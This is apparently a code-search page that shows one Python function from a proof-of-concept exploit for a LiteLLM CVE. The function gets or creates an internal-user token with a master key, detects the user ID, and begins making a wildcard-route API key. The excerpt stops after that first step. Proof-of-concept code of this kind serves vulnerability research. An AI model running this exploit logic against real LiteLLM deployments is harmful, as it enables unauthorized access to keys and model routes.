INNER CODE UNIT · Python

run_exploit

Unclecheng-li/poc-lab · AI Infrastructure/CVE-2026-47101 LiteLLM/exploit/exploit.py:130

def run_exploit(target: str, master_key: str | None, user_key: str | None, user_id: str | None) -> int:
    if user_key:
        token = user_key
    elif master_key:
        print("[*] No internal_user key provided; creating one via master key.")
        user_id_created, token = create_internal_user(target, master_key)
        print(f"[+] Created internal_user: user_id={user_id_created} key={token}")
        if not user_id:
            user_id = user_id_created
    else:
        raise SystemExit("Provide --key or --master-key.")

    if not user_id:
        print("[*] Detecting user_id from /user/info.")
        user_id = detect_user_id(target, token)
        print(f"[+] Detected user_id: {user_id}")

    print("[*] Step 1: Generate wildcard-route API key via /key/generate.")

View source record →

📰 Research Paper
Loading…
⏳ Fetching content…